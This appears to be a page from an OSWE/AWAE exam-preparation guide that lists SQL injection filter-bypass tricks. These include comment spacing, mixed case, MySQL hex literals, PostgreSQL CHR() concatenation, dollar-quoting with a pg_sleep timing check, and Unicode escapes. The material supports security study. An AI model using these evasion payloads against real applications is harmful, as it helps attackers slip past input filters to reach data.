> For the complete documentation index, see [llms.txt](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/sql-injection/bypassing-character-restrictions.md).

# Bypassing Character Restrictions

## General

### Space -> Comment

```sql
SELECT id, user, password FROM users WHERE id = '1';
```

```sql
SELECT/**/id,/**/user,/**/password/**/FROM/**/users/**/WHERE/**/id/**/=/**/'1';
```

### Upper and Lower case

```sql
SELECT id, user, password FROM users WHERE id = '1';
```

```sql
SeLeCT id, user, password frOM users WHeRe id = '1';
```

## MySQL

### Hexadecimal

```sql
SELECT 0x6a6f726765637466 #SELECT 'jorgectf'
```

## PostgreSQL

### ASCII concatenation <a href="#ascii-concatenation" id="ascii-concatenation"></a>

```python
print('||'.join("CHR("+str(ord(i))+")" for i in "jorgectf"))
```

```sql
SELECT CHR(106)||CHR(111)||CHR(114)||CHR(103)||CHR(101)||CHR(99)||CHR(116)||CHR(102) #SELECT jorgectf
```

### Single Quote Bypass using $$ <a href="#single-quote-bypass-using-usdusd" id="single-quote-bypass-using-usdusd"></a>

```sql
$$jorgectf$$ #'jorgectf'
> AND $$jorgectf$$ = 'jorgectf' AND (SELECT 1 FROM pg_sleep(10))=1
0:00:10.491213
```

### Unicode <a href="#unicode" id="unicode"></a>

```sql
SELECT U&"\006a\006f\0072\0067\0065\0063\0074\0066" #SELECT jorgectf
SELECT U&'\006a\006f\0072\0067\0065\0063\0074\0066' #SELECT 'jorgectf'
U&'\006a\006f\0072\0067\0065\0063\0074\0066'() #jorgectf()
```

## More information

{% embed url="<https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3>" %}
